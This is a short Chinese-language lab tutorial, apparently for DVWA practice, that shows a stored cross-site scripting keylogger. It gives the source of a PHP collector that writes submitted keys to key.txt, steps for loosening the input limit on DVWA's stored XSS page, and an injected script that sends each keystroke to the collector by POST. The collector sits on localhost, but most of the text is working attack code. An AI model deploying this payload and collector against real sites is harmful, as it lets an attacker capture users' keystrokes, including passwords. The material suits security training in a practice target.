实验环境：
- PHPstudy
- 火狐浏览器、IE
- DVWA靶场
实验准备：
在www目录下创建一个名为keylog.php的文件,代码如下：
<?php
$file = fopen("key.txt","a");
if(isset($_REQUEST['key'])) {
$key = $_REQUEST['key'];
fputs($file,$key);
}
?>
模拟实验：
1、把级别调成low，选择Stored储存型，打开F12将输入限制改为500
2、将下列代码输入执行，效果如下
<script>document.onkeydown=function(ev){xhr=new XMLHttpRequest();xhr.open('POST','http://localhost/keylog.php',true);xhr.setRequestHeader('Content-type','application/X-WWW-form-urlencoded');xhr.send('key='+String.fromCharCode(ev.keyCode));}</script>